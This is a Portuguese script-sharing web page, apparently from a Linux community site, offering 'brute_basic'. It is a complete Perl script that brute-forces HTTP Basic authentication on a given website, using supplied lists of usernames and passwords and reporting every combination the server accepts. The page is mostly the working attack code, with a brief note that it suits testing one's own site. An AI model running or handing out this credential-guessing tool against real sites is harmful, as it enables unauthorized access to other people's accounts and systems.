brute_basic

Publicado por Marcelo 25/01/2004

[ Hits: 6.222 ]

Download brute_basic




Script que faz brute-force em autenticação via web do tipo Basic (digest ainda não foi incluído), o script precisa de duas listas de nomes, para usuários e senhas, você pode escolher entre método HEAD e GET (alguns sites bloqueiam HEAD), mas como o script ainda não trabalha com threads, ele é extremamente lento para grandes brute-forces, por isso é mais recomendado para testar o seu próprio website, o script utiliza HTTP 1.1, espero que em próximas versões eu inclua threads...

  



Esconder código-fonte

#!/usr/bin/perl
use Socket;
use IO::Socket;
use MIME::Base64;
if ($ARGV[3] =~ /g/) { $metodo='GET'; print "Utilizando método GET ao invés de H
EAD\n"; }
else { $metodo='HEAD'; }
open(logins,$ARGV[1]);
@url=split(/\//,$ARGV[0]);
$get='/';
$ip=gethostbyname($url[0]);
if ($ip) { $ip=inet_ntoa($ip); }
else {
 print "Erro no DNS ao tentar resolver $url[0]!\n";
 exit(1);
}
for ($i=1;$url[$i];$i++) {
 $get="$get/$url[$i]";
}
if (substr($ARGV[0],(length($ARGV[0])-1)) eq '/') { $get="$get/"; }
print "Iniciando tentativa de brute-force em $url[0]\n";
for ($nl=0;($user=<logins>);$nl++) {
 chop $user;
 close(senhas);
 open(senhas,$ARGV[2]);
 for ($np=0;($senha=<senhas>);$np++) {
  chop $senha;
  $final=encode_base64("$user:$senha");
  $sock=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>80,Timeout=>3);
  if ($sock) { print $sock "$metodo $get HTTP/1.1\nHost: $url[0]\nAuthorization:
 Basic $final\n\n"; }
  @div=split(/ /,<$sock>);
  if ($div[1] eq '403') {
   print "Forbidden retornado do servidor, pode ser um anti brute-force\n";
  }
  elsif ($div[1] eq '405') {
   print "O método $metodo não é permitido pelo servidor:\n";
   if ($metodo eq 'HEAD') {
    print "Tente usar a opção -g no final, que utiliza GET";
   }
   else {
    print "Alguma coisa muito estranha está acontecendo... o servidor não suporta o método GET, não é impossível, mas simplesmente inútil e impede a navegação normal. Verifique se está tudo certo e se o site é navegável!";
   }
   print "\nFechando o brute-force.\n";
   exit(1);
  }
  else {
   if ($div[1] ne '401') {
    print "$user:$senha -> OK! <-> Retorno: $div[1]\n";
    $a++;
   }
  }
#  print "$div[0] $div[1] $div[2]\n";
  close($sock);
 }
}
if (!$a) { $a=0; }
print "Programa terminado, combinações tentadas: ".($nl*$np).", senhas achadas: $a\n";

Scripts recomendados

Backdoor em perl

Script de Analise do Syslog SNORT

Monitor de portas

Scanner TCP/ping

Multi Security Scan


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts